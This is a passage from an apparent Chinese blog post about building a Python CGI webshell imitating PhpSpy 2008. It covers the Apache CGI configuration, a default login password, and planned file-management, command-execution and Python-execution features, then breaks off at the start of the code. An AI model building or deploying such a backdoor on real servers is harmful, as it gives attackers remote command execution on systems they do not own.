最近在研究WebShell,于是打算写一个Python版的WebShell,使用的是cgi, Apache配置文件http.conf需做如下:
我的cgi脚本放到F:\py_cgi目录下,其中cgi-script指定脚本后缀名,例如
AddHandler cgi-script .py
ScriptAlias /cgi-bin/ "F:/py_cgi/"
<Directory "F:/py_cgi">
AllowOverride None
Options All
Order allow,deny
Allow from all
</Directory>
这个WebShel0l实现模仿了PhpSpy 2008,但功能没有那么强大,我会利用业余时间慢慢加强,下面先看看效果。
经典的登录框:密码默认:123456
首页显示: 其中文件管理是最烦的,目前只有显示功能,其余操作,等待添加
下面这是命令执行,支持调用程序传递参数,支持执行命令
这是一些系统信息,貌似通过cgi模块,很多变量获取不到,我也没做特殊处理(ps,偷偷懒)
下面是执行python命令
下面将介绍各个模块实现。
有一些全局变量和函数需要说明:
from os import environ
form = cgi.FieldStorage()
# ===================== 程序配置 =====================
admin={}
# 是否需要密码验证, true 为需要验证, false 为直接进入.下